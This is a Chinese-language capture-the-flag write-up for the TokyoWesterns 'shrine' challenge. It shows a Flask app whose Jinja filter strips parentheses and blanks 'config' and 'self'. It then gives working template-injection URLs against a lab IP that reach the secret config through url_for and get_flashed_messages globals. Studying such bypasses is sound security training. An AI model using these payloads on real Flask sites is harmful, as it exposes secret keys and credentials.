题目描述

来源:TokyoWesterns CTF

Solution

打开网页,发现是 Python 代码,有flask字样:

1.png

按下右键,选择 View Page Source,阅读源代码:

  1. import flask
  2. import os
  3. app = flask.Flask(__name__)
  4. app.config['FLAG'] = os.environ.pop('FLAG')
  5. @app.route('/')
  6. def index():
  7. return open(__file__).read()
  8. @app.route('/shrine/<path:shrine>')
  9. def shrine(shrine):
  10. def safe_jinja(s):
  11. s = s.replace('(', '').replace(')', '')
  12. blacklist = ['config', 'self']
  13. return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
  14. return flask.render_template_string(safe_jinja(shrine))
  15. if __name__ == '__main__':
  16. app.run(debug=True)

有源代码可知,路由shrine使用 jinjia 模板引擎生成页面,该路由有一个sage_jinja()函数:

  • 它把()都替换成""空字符串;
  • 返回一个字符串,它用了格式化字符串的方法,把黑名单里的字符给替换成None

我们可以测试一下模板注入情况:

http://111.200.241.244:52838/shrine/{{1+1}}

2.png

我们现在要绕过黑名单,要通过全局变量绕过:

http://111.200.241.244:52838/shrine/{{url_for.__globals__['current_app'].config.FLAG}}

http://111.200.241.244:52838/shrine/{{get_flashed_messages.__globals__['current_app'].config.FLAG}}

3.png